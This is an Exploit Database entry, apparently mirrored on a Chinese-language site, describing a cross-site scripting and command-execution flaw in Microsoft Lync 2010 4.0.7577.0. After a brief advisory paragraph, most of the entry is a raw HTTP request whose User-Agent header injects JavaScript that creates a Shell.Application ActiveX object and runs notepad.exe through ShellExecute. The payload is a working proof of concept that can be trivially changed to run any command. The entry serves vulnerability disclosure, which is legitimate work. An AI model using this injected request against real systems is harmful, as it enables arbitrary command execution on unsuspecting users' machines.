Microsoft Lync 2010 4.0.7577.0 – User-Agent Header Handling Arbitrary Command Execution

• Exploit Database
• 16 阅读

• 作者： Christopher Emerson
  日期： 2013-01-11
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/38227/

• source: https://www.securityfocus.com/bid/57300/info
  
  Microsoft Lync is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
  
  An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to perform unauthorized actions on behalf of the victim. 
  
  GET /JW926520 HTTP/1.0
  Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
  application/x-shockwave-flash, application/xaml+xml,
  application/vnd.ms-xpsdocument, application/x-ms-xbap,
  application/x-ms-application, */*
  Accept-Language: en-us
  User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET
  CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR
  3.5.30729)";var oShell = new ActiveXObject("Shell.Application");var
  commandtoRun =
  "C:\\Windows\\notepad.exe";oShell.ShellExecute(commandtoRun,"","","open","1");-"
  Host: meet.domainname.com
  Connection: Keep-Alive
  Cookie: LOCO=yes; icscontext=cnet; ProfileNameCookie=example